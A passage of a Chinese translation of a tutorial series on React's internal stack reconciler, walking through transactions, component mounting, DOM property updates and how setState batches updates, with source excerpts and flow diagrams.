事实上，它引发了另外一个事务...\n\n\n### **第 1 部分**我们讲完了\n\n我们来回顾一下我们学到的。我们再看一下这种模式，然后去掉冗余的部分：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/1/part-1-A.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/1/part-1-A.svg)\n\n<em>1.3 第 1 部分简化版 (点击查看大图)</em>\n\n然后我们适当再调整一下：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/1/part-1-B.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/1/part-1-B.svg)\n\n<em>1.4 第 1 部分简化和重构 (点击查看大图)</em>\n\n很好，实际上，下面的示意图就是我们所讲的。因此，我们可以理解**第 1 部分**的本质，并将其画在最终的 `mount`（挂载） 方案里：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/1/part-1-C.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/1/part-1-C.svg)\n\n<em>1.5 第 1 部分本质(点击查看大图)</em>\n\n\n\n\n\n## 第二部分\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/2/part-2.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/2/part-2.svg)\n\n<em>2.0 第二部分</em>\n\n### 另一个事务\n\n这次我们将讨论 `ReactReconcileTransaction`事务。正如你所知道的，对我们来说主要感兴趣的是事务包装器。其中包括三个包装器：\n\n```javascript\n//\\src\\renderers\\dom\\client\\ReactReconcileTransaction.js#89\nvar TRANSACTION_WRAPPERS = [\n  SELECTION_RESTORATION,\n  EVENT_SUPPRESSION,\n  ON_DOM_READY_QUEUEING,\n];\n```\n\n我们可以看到，这些包装器主要用来 *保留实际状态*，React 将确保在事务的方法调用之前锁住某些可变值，调用完后再释放它们。举个例子，范围选择（输入当前选择的文本）不会被事务的方法执行干扰（在 `initialize` 时选中并在 `close` 时恢复）。此外，它阻止因为高级 DOM 操作（例如，临时从 DOM 中移除文本）而无意间触发的事件（例如模糊/选中焦点），React在 `initialize` 时 *暂时禁用 `ReactBrowserEventEmitter`* 并在事务执行到 `close` 时重新启用。\n\n到这里，我们已经非常接近组件的挂载了，挂载将会把我们准备好的（HTML）标记插入到 DOM 中。实际上，`ReactReconciler.mountComponent` 只是一个包装，更准确的说，它是一个中介者。它将代理组件模块的挂载方法。这是一个重要的部分，画个重点。\n\n> 在实现某些和平台相关的逻辑时，`ReactReconciler` 模块总是会被调用，例如这个确切的例子。挂载过程在每个平台上都是不同的，所以 “主模块” 会询问 `ReactReconciler`，`ReactReconciler` 知道下一步应该怎么做。\n\n好的，让我们将目光移到组件方法 `mountComponent` 上。这可能是你已经听说过的方法了。它初始化组件，渲染标记以及注册事件监听函数。你看，千辛万苦我们终于看到了调用组件加载。调用加载之后，我们应该可以得到可以插入到文档中的 HTML 元素了。\n\n\n### 我们完成了 *第二部分*\n\n\n让我们回顾一下这一部分，我们再一次流程图，然后删除一些不重要的信息，它将变成这样：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/2/part-2-A.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/2/part-2-A.svg)\n\n<em>2.1 第二部分 简化</em>\n\n让我们优化一下排版：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/2/part-2-B.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/2/part-2-B.svg)\n\n<em>2.2 第二部分 简化与重构</em>\n\n很好，其实这就是这一部分所发生的一切。我们可以从 *第一部分* 中取下必要的信息，然后完善 `mounting`（挂载） 的流程图：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/2/part-2-C.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/2/part-2-C.svg)\n\n<em>2.3 第二部分 必要信息</em>\n\n\n\n\n\n## 第 3 部分\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/3/part-3.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/3/part-3.svg)\n\n<em>3.0 第 3 部分 (点击查看大图)</em>\n\n### 挂载\n\n`componentMount` 方法是我们整个系列中极其重要的一个部分。如图，我们关注 `ReactCompositeComponent.mountComponent` (1) 方法。\n\n如果你还记得，我曾提到过 **组件树的入口组件** 是 `TopLevelWrapper` 组件 (React 底层内部类)。我们准备挂载它。由于它实际上是一个空的包装器，调试起来非常枯燥并且对实际的流程而言没有任何影响，所以我们跳过这个组件从他的孩子组件开始分析。\n\n把组件挂载到组件树上的过程就是先挂载父亲组件，然后他的孩子组件，然后他的孩子的孩子组件，依次类推。可以肯定，当 `TopLevelWrapper` 挂载后，他的孩子组件 (用来管理 `ExampleApplication` 的组件 `ReactCompositeComponent`) 也会在同一阶段注入。\n\n现在我们回到步骤 (1) 观察这个方法的内部实现，有一些重要行为会发生，接下来让我们深入研究这些重要行为。\n\n### 给实例赋值 updater\n\n从 `transaction.getUpdateQueue()` 方法返回的 `updater` 见图中(2)， 实际上就是 `ReactUpdateQueue` 模块。 为什么要在这里赋值一个 `updater` 呢？因为我们正在研究的类 `ReactCompositeComponent` 是一个全平台的共用的类，但是 `updater` 却依赖于平台环境有不同的实现，所以我们在这里根据不同的平台动态的将它赋值给实例。\n\n然而，我们现在并不马上需要这个 `updater`，但是你要记住它是非常重要的，因为它很快就会应用于非常知名的组件内更新方法 **`setState`**。\n\n事实上在这个过程中，不仅仅 `updater` 被赋值给实例，组件实例（你的自定义组件）也获得了继承的 `props`, `context`, 和 `refs`。\n\n观察以下的代码:\n\n```javascript\n// \\src\\renderers\\shared\\stack\\reconciler\\ReactCompositeComponent.js#255\n// 这些应该在构造方法里赋值，但是为了\n// 使类的抽象更简单，我们在它之后赋值。\ninst.props = publicProps;\ninst.context = publicContext;\ninst.refs = emptyObject;\ninst.updater = updateQueue;\n```\n\n因此，你才可以通过一个实例从你的代码中获得 `props`，比如 `this.props`。\n\n### 创建 ExampleApplication 实例\n\n通过调用步骤 (3) 的方法  `_constructComponent` 然后经过几个构造方法的作用后，最终创建了 `new ExampleApplication()`。这就是我们代码中构造方法第一次被执行的时机，当然也是我们的代码第一次实际接触到 React 的生态系统，很棒。\n\n### 执行首次挂载\n\n接着我们研究步骤 (4)，第一个即将发生的行为是 `componentWillMount`(当然仅当它被定义时) 的调用。这是我们遇到的第一个生命周期钩子函数。当然，在下面一点你会看到 `componentDidMount` 函数, 只不过这时由于它不能马上执行，而是被注入了一个事务队列中，在很后面执行。他会在挂载系列操作执行完毕后执行。当然你也可能在 `componentWillMount` 内部调用 `setState`，在这种情况下 `state` 会被重新计算但此时不会调用 `render`。(这是合理的，因为这时候组件还没有被挂载)\n\n官方文档的解释也证明这一点:\n\n> `componentWillMount()` 在挂载执行之前执行，他会在 `render()` 之前被调用，因此在这个过程中设置组件状态不会触发重绘。\n\n观察以下的代码，进一步验证：\n\n```javascript\n// \\src\\renderers\\shared\\stack\\reconciler\\ReactCompositeComponent.js#476\nif (inst.componentWillMount) {\n    //..\n    inst.componentWillMount();\n\n    // 当挂载时, 在 `componentWillMount` 中调用的 `setState` 会执行并改变状态\n    // `this._pendingStateQueue` 不会触发重渲染\n    if (this._pendingStateQueue) {\n        inst.state = this._processPendingState(inst.props, inst.context);\n    }\n}\n```\n\n确实如此，但是当 state 被重新计算完成后，会调用我们在组件中申明的 render 方法。再一次接触 “我们的” 代码。\n\n接下来下一步就会创建一个 React 的组件的实例。然后呢？我们已经看见过步骤 (5) `this._instantiateReactComponent` 的调用了，对吗？是的。在那个时候它为我们的 `ExampleApplication` 组件实例化了 `ReactCompositeComponent`，现在我们准备基于它的 `render` 方法获得的元素作为它的孩子创建 VDOM (虚拟 DOM) 实例。在我们的例子中，`render` 方法返回了一个`div`，所以准确的 VDOM 元素是一个`ReactDOMElement`。当该实例被创建后，我们会再次调用 `ReactReconciler.mountComponent`，但是这次我们传入刚刚新创建的 `ReactDOMComponent` 实例作为`internalInstance`。\n\n然后继续调用此类中的 `mountComponent` 方法，这样递归往下...\n\n### 好，**第 3 部分**我们讲完了\n\n我们来回顾一下我们学到的。我们再看一下这种模式，然后去掉冗余的部分：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/3/part-3-A.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/3/part-3-A.svg)\n\n<em>3.1 第 3 部分简化版 (点击查看大图)</em>\n\n让我们适度在调整一下:\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/3/part-3-B.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/3/part-3-B.svg)\n\n<em>3.2 第 3 部分简化和重构 (点击查看大图)</em>\n\n很好，实际上，下面的示意图就是我们所讲的。因此，我们可以理解**第 3 部分**的本质，并将其用于最终的 `mount` 方案：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/3/part-3-C.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/3/part-3-C.svg)\n\n<em>3.3 第 3 部分本质 (点击查看大图)</em>\n\n\n\n## 第 4 部分\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/4/part-4.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/4/part-4.svg)\n\n<em>4.0 第 4 部分 (点击查看大图)</em>\n\n### 子元素挂载\n\n已经入迷了对吗? 让我们接续研究 `mount` 方法。\n\n如果步骤 (1) 的 `_tag` 包含一个复杂的标签，比如 `video`、`form`、 `textarea` 等等，这些就需要更进一步的封装，对每个媒体事件需要绑上更多事件监听器，比如给 `audio` 标签增加 `volumechange` 事件监听，或者像 `select`、`textarea` 等标签只需要封装一些浏览器原生行为。\n\n我们有很多封装器干这事，比如 `ReactDOMSelect` 和 `ReactDOMTextarea` 位于源码 (src\\renderers\\dom\\client\\wrappers\\folder) 中。本文例子中只有简单的 `div` 标签。\n\n### Props 验证\n\n接下来要讲解的验证方法是为了确保内部 `props` 被设置正确，不然它就会抛出异常。举个例子，如果设置了 `props.dangerouslySetInnerHTML` (经常在我们需要基于一个字符串插入 HTML 时使用)，但是它的对象健值 `__html` 忘记设置，那么将会抛出下面的异常：\n\n> `props.dangerouslySetInnerHTML` must be in the form `{__html: ...}`.  Please visit https://fb.me/react-invariant-dangerously-set-inner-html for more information.\n>\n> (`props.dangerouslySetInnerHTML` 必须符合 `{__html: ...}`的形式)\n\n### 创建 HTML 元素\n\n接着， `document.createElement` 方法会创建真实的 HTML 元素，实例出真实的 HTML `div`，在这一步之前我们只能用虚拟的表现形式表达，而现在你第一次能实际看到它了。\n\n### 好，**第 4 部分**我们讲完了\n\n我们来回顾一下我们学到的。我们再看一下这种模式，然后去掉冗余的部分：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/4/part-4-A.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/4/part-4-A.svg)\n\n<em>4.1 第 4 部分简化版 (点击查看大图)</em>\n\n让我们适度在调整一下：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/4/part-4-B.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/4/part-4-B.svg)\n\n<em>4.2 第 4 部分简化和重构 (点击查看大图)</em>\n\n很好，实际上，下面的示意图就是我们所讲的。因此，我们可以理解**第 4 部分**的本质，并将其用于最终的 `mount` 方案：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/4/part-4-C.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/4/part-4-C.svg)\n\n<em>4.3 *第 4 部分本质 (点击查看大图)*</em>\n\n## 第 5 部分\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/5/part-5.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/5/part-5.svg)\n\n<em>5.0 第 5 部分(点击查看大图)</em>\n\n### 更新 DOM 属性\n\n这图片看上去有点复杂？这里主要讲的是如何高效的把diff作用到新老 `props` 上。我们来看一下源码对这块的代码注释：\n\n> 差分对比更新算法通过探测属性的差异并更新需要更新的 DOM。该方法可能是性能优化上唯一且极其重要的一环。\n\n这个方法实际上有两个循环。第一个循环遍历前一个 `props`，后一个循环遍历下一个 `props`。在我们的挂载场景下，`lastProps` (前一个) 是空的。(很明显这是第一次给我们的 props 赋值)，但是我们还是来看看这里发生了什么。\n\n### `lastprops` 循环\n第一步，我们检查 `nextProps` 对象是不是包含相同的 prop 值，如果相等的话，我们就跳过那个值，因为它之后会在 `nextProps` 循环中处理。然后我们重置样式的值，删除事件监听器 (如果监听器之前设置过的话)，然后去除 DOM 属性名以及 DOM 属性值。对于属性们，只要我们确定它们不是 `RESERVED_PROPS` 中的一员，而是实际的 `prop`，例如 `children` 或者 `dangerouslySetInnerHTML`。\n\n### `nextprops` 循环\n该循环中，第一步检查 `prop` 是不是变化了，也就是检查下一个值是不是和老的值不同。如果相同，我们不做任何处理。对于 `styles`（你也许已经注意到我们会区别对待它）我们更新从`lastProp` 到现在变化的部分值。然后我们添加事件监听器(比如 `onClick` 等等)。让我们更深入的分析它。\n\n其中很重要的一点是，纵观 React app，所有的工作都会传入一个名叫 `syntetic` 的事件。没有一个例外。它其实是一些封装器来优化效率的。下一个重要部分是我们处理事件监听器的中介控制模块 `EventPluginHub` (位于源码中`src\\renderers\\shared\\stack\\event\\EventPluginHub.js`)。它包含一个 `listenerBank` 的映射来缓存并管控所有的监听器。我们准备好了添加我们自己的事件监听器，但是不是现在。这里的关键在于我们应该在组件和 DOM 元素已经准备好处理事件的时候才增加监听器。看上去在这里我们执行迟了。也你许会问，我们如何知道 DOM 已经准备好了？很好，这就引出了下一个问题！你是否还记得我们曾把 `transaction` 传递给每个方法和调用？这就对了，我们那样做就是因为在这种场景它可以很好的帮助我们。让我们从代码中寻找佐证：\n\n```javascript\n//src\\renderers\\dom\\shared\\ReactDOMComponent.js#222\ntransaction.getReactMountReady().enqueue(putListener, {\n    inst: inst,\n    registrationName: registrationName,\n    listener: listener,\n});\n```\n\n在处理完事件监听器，我们开始设置 DOM 属性名和 DOM 属性值。就像之前说的一样，对于属性们，我们确定他们不是 `RESERVED_PROPS` 中的一员，而是实际的 `prop`，例如 `children` 或者 `dangerouslySetInnerHTML`。\n\n在处理前一个和下一个 props 的时候，我们会计算 `styleUpdates` 的配置并且现在把它传递给 `CSSPropertyOperations` 模块。\n\n很好，我们已经完成了更新属性这一部分，让我们继续\n\n### 好, 第 5 部分我们讲完了\n\n我们来回顾一下我们学到的。我们再看一下这种模式，然后去掉冗余的部分：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/5/part-5-A.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/5/part-5-A.svg)\n\n<em>5.1 第 5 部分简化版 (点击查看大图)</em>\n\n然后我们适当再调整一下：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/5/part-5-B.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/5/part-5-B.svg)\n\n<em>5.2 第 5 部分简化和重构 (点击查看大图)</em>\n\n很好，实际上，下面的示意图就是我们所讲的。因此，我们可以理解**第 5 部分**的本质，并将其用于最终的 `mounting` 方案：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/5/part-5-C.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/5/part-5-C.svg)\n\n<em>5.3 第 5 部分 本质 (点击查看大图)</em>\n\n\n\n## 第 6 部分\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/6/part-6.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/6/part-6.svg)\n\n<em>6.0 第 6 部分（点击查看大图）</em>\n\n### 创建最初的子组件\n\n好像组件本身已经创建完成了，现在我们可以继续创建它的子组件了。这个分为以下两步：（1）子组件应该由（`this.mountChildren`）加载，（2）并与它的父级通过（`DOMLazyTree.queueChild`）连接。我们来讨论一下子组件的挂载。\n\n有一个单独的 `ReactMultiChild` (`src\\renderers\\shared\\stack\\reconciler\\ReactMultiChild.js`) 模块来操作子组件。我们来查看一下 `mountChildren` 方法。它包括两个主要任务。首先我们初始化子组件（使用 `ReactChildReconciler`）并加载他们。这里到底是什么子组件呢？它可能是一个简单的 HTML 标签或者一个其他自定义的组件。为了处理 HTML，我们需要初始化 `ReactDOMComponent`，对于自定义组件，我们使用 `ReactCompositeComponent`。加载流程也是依赖于子组件是什么类型。\n\n### 再一次\n\n如果你还在阅读这篇文章，那么现在可能是再一次阐述和整理整个过程的时候了。现在我们休息一下，重新整理下对象的顺序。\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/6/overall-mounting-scheme.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/6/overall-mounting-scheme.svg)\n\n<em>6.1 所有加载图示（点击查看大图）</em>\n\n1) 在React 中使用 `ReactCompositeComponent` 实例化你的自定义组件（通过使用像`componentWillMount` 这类的组件生命周期钩子）并加载它。\n\n2) 在加载过程中，首先会创建一个你自定义组件的实例（调用`构造器`函数）。\n\n3) 然后，调用该组件的渲染函数（举个简单的例子，渲染返回的 `div`）并且 `React.createElement` 来创建 React 元素。它可以直接被调用或者通过Babel解析JSX后来替换渲染中的标签。但是，它可能不是我们所需要的，看看接下来是什么。\n\n4) 我们对于 `div` 需要一个 DOM 组件。所以，在实例化过程中，我们从元素-对象（上文提到过）出发创建 `ReactDOMComponent` 的实例。\n\n5) 然后，我们需要加载 DOM 组件。这实际上就意味者我们创建 DOM 元素，并加载了事件监听等。\n\n6) 然后，我们处理我们的DOM组件的直接子组件。我们创建它们的实例并且加载它们。根据子组件的是什么(自定义组件或只是HTML标签)，我们分别跳转到步骤1）或步骤5）。然后再一次处理所有的内嵌元素。\n\n加载过程就是这个。就像你看到的一样非常直接。\n\n加载基本完成。下一步是 `componentDidMount` 方法。大功告成。\n\n### 好的，我们已经完成了*第 6 部分*\n\n让我们概括一下我们怎么到这里的。再一次看一下示例图，然后移除掉冗余的不那么重要的部分，它就变成了这样：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/6/part-6-A.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/6/part-6-A.svg)\n\n<em>6.2 第 6 部分 简化（点击查看大图）</em>\n\n我们也应该尽可能的修改空格和对齐方式:\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/6/part-6-B.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/6/part-6-B.svg)\n\n<em>6.3 第 6 部分 简化和重构（点击查看大图）</em>\n\n很好。实际上它就是这儿所发生的一切。我们可以从*第 6 部分*中获得基本精髓，并将其用于最终的“加载”图表：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/6/part-6-C.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/6/part-6-C.svg)\n\n<em>6.4 第 6 部分本质 (点击查看大图)</em>\n\n\n\n## 第七部分\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/7/part-7.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/7/part-7.svg)\n\n<em>7.0 第七部分（可点击查看大图）</em>\n\n### 回到开始的地方\n\n在执行加载后，我们就准备好了可以插入文档的 HTML 元素。实际上生成的是 `markup`，但是无论 `mountComponent` 是如何命名的，它们并非等同于 HTML 标记。它是一种包括子节点、节点（也就是实际 DOM 节点）等的数据结构。但是，我们最终将 HTML 元素放入在 `ReactDOM.render` 的调用中指定的容器中。在将其添加到 DOM 中时，React 会清除容器中的所有内容。`DOMLazyTree` 是一个对树形结构执行一些操作的工具类，也是我们在使用 DOM 时实际在做的事。\n\n最后一件事是 `parentNode.insertBefore(tree.node)`，其中 `parentNode` 是容器 `div` 节点，而 `tree.node` 实际上是 `ExampleAppliication` 的 div 节点。很好，加载创建的 HTML 元素终于被插入到文档中了。\n\n那么，这就是所有？并未如此。也许你还记得，`mount` 的调用被包装到一个事务中。这意味着我们需要关闭这个事务。让我们来看看我们的 `close` 包装。多数情况下，我们应该恢复一些被锁定的行为，例如 `ReactInputSelection.restoreSelection()`，`ReactBrowserEventEmitter.setEnabled(previouslyEnabled)`，而且我们也需要使用 `this.reactMountReady.notifyAll` 来通知我们之前在 `transaction.reactMountReady` 中添加的所有回调函数。其中之一就是我们最喜欢的 `componentDidMount`，它将在 `close` 中被触发。\n\n现在你对“组件已加载”的意思有了清晰的了解。恭喜！\n\n### 还有一个事务需要关闭\n\n实际上，不止一个事务需要关闭。我们忘记了另一个用来包装 `ReactMount.batchedMountComponentIntoNode` 的事务。我们也需要关闭它。\n\n这里我们需要检查将处理 `dirtyComponents` 的包装器 `ReactUpdates.flushBatchedUpdates`。听起来很有趣吗？那是好消息还是坏消息。我们只做了第一次加载，所以我们还没有脏组件。这意味着它是一个空置的调用。因此，我们可以关闭这个事务，并说批量策略更新已完成。\n\n### 好的，我们已经完成了**第 7 部分**\n\n让我们回顾一下我们是如何到达这里的。首先再看一下整体流程，然后去除多余的不太重要的部分，它就变成了：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/7/part-7-A.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/7/part-7-A.svg)\n\n<em>7.1 第 7 部分 简化（点击查看大图）</em>\n\n我们也应该修改空格和对齐：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/7/part-7-B.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/7/part-7-B.svg)\n\n<em>7.2 第 7 部分 简化并重构（点击查看大图）</em>\n\n其实这就是这里发生的所有。我们可以从第 7 部分中的重要部分来组成最终的 `mounting` 流程：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/7/part-7-C.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/7/part-7-C.svg)\n\n<em>7.3 第 7 部分 基本价值（点击查看大图）</em>\n\n完成！其实我们完成了加载。让我们来看看下图吧！\n\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/7/mounting-parts-C.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/7/mounting-parts-C.svg)\n\n<em>7.4 Mounting 过程（点击查看大图）</em>\n\n\n\n## 第 8 部分\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/8/part-8.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/8/part-8.svg)\n\n<em>8.0 Part 8 (点击查看大图)</em>\n\n### `this.setState`\n\n我们已经学习了挂载的工作原理，现在从另一个角度来学习。嗯，比如 `setState` 方法，其实也很简单。\n\n首先，为什么我们可以在自己的组件中调用 `setState` 方法呢？很明显我们的组件继承自 `ReactComponent`，这个类我们可以很方便的在 React 源码中找到。\n\n```javascript\n//src\\isomorphic\\modern\\class\\ReactComponent.js#68\nthis.updater.enqueueSetState(this, partialState)\n```\n我们发现，这里有一些 `updater` 接口。什么是 `updater` 呢？在讲解挂载过程时我们讲过，在 `mountComponent` 过程中，实例会接受一个 `ReactUpdateQueue`(`src\\renderers\\shared\\stack\\reconciler\\ReactUpdateQueue.js`) 的引用作为 `updater` 属性。\n\n很好，我们现在深入研究步骤 (1) 的 `enqueueSetState`。首先，它会往步骤 (2) 的 `_pendingStateQueue` (来自于内部实例。注意，这里我们说的外部实例是指用户的组件 `ExampleApplication`，而内部实例则挂载过程中创建的 `ReactCompositeComponent`) 注入 `partialState` (这里的 `partialState` 就是指给 `this.setState` 传递的对象)。然后，执行 `enqueueUpdate`，这个过程会检查更新是否已经在进展中，如果是则把我们的组件注入到 `dirtyComponents` 列表中，如果不是则先初始化打开更新事务，然后把组件注入到 `dirtyComponents` 列表。\n\n总结一下，每个组件都有自己的一组处于等待的”状态“的列表，当你在一次事务中调用 `setState` 方法，其实只是把那个状态对象注入一个队列里，它会在之后一个一个依次被合并到组件 `state` 中。调用此`setState`方法同时，你的组件也会被添加进 `dirtyComponents` 列表。也许你很好奇 `dirtyComponents` 是如何工作的，这就是另一个研究重点。\n\n### 好, 第 8 部分我们讲完了\n\n我们来回顾一下我们学到的。我们再看一下这种模式，然后去掉冗余的部分：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/8/part-8-A.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/8/part-8-A.svg)\n\n<em>8.1 第 8 部分简化版 (点击查看大图)</em>\n\n让我们适度在调整一下：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/8/part-8-B.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/8/part-8-B.svg)\n\n<em>8.2 第 8 部分简化和重构 (点击查看大图)</em>\n\n很好，实际上，下面的示意图就是我们所讲的。因此，我们可以理解**第 8 部分**的本质，并将其用于最终的 `updating` 方案：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/8/part-8-C.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/8/part-8-C.svg)\n\n<em>8.3 Part 8 本质 (点击查看大图)</em>\n\n\n\n## 第 9 部分\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/9/part-9.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/9/part-9.svg)\n\n<em>9.0 第 9 部分(点击查看大图)</em>\n\n### 继续研究 `setState`\n\n根据流程图我们发现，有很多方式来触发 `setState`。可以直接通过用户交互触发，也可能只是隐含在方法里触发。我们举两个例子：第一种情况下，它由用户的鼠标点击事件触发。而第二种情况，例如在 `componentDidMount` 里通过 `setTimeout` 调用来触发。\n\n那么这两种方式有什么差异呢？如果你还记得 React 的更新过程是批量化进行的，这就意味着他先会收集这些更新操作，然后一起处理。当鼠标事件触发后，会被顶层先处理，然后经过多层封装器的作用，这个批更新操作才会开始。过程中你会发现，只有当步骤 (1) 的 `ReactEventListener` 是 `enabled` 的状态才会触发更新。然而你还记得在组件挂载过程中，`ReactReconcileTransaction` 中的一个封装器会使它 `disabled` 来确保挂载的安全。那么 `setTimeout` 案例是怎样的呢？这个也很简单，在把组件丢进 `dirtyComponents` 列表前，React会确保事务已经开始，那么，之后他应该会被关闭，然后一起处理列表中的组件。\n\n就像你所知道的那样，React 有实现很多 “syntetic事件”，一些 “语法糖”，实际上包裹着原生事件。随后，他会表现为我们很熟悉的原生事件。你可以看下面的代码注释：\n\n> 实验过程为了更方便和调试工具整合，我们模拟一个真实浏览器事件\n\n```javascript\nvar fakeNode = document.createElement('react');\n\nReactErrorUtils.invokeGuardedCallback = function (name, func, a) {\n      var boundFunc = func.bind(null, a);\n      var evtType = 'react-' + name;\n\n      fakeNode.addEventListener(evtType, boundFunc, false);\n\n      var evt = document.createEvent('Event');\n      evt.initEvent(evtType, false, false);\n\n      fakeNode.dispatchEvent(evt);\n      fakeNode.removeEventListener(evtType, boundFunc, false);\n};\n```\n好，回到我们的更新，让我们总结一下，整个过程是：\n\n1. 调用 setState\n2. 如果批处理事务没有打开，则打开\n3. 把受影响的组件添加入 `dirtyComponents` 列表\n4. 在调用 `ReactUpdates.flushBatchedUpdates `的同时关闭事务, 并处理在所有 `dirtyComponents` 列表中的组件\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/9/set-state-update-start.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/9/set-state-update-start.svg)\n\n<em>9.1 `setState` 执行过程 (点击查看大图)</em>\n\n### 好，**第 9 部分**我们讲完了\n\n我们来回顾一下我们学到的。我们再看一下这种模式，然后去掉冗余的部分：\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/9/part-9-A.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/9/part-9-A.svg)\n\n<em>9.2 第 9 部分简化版 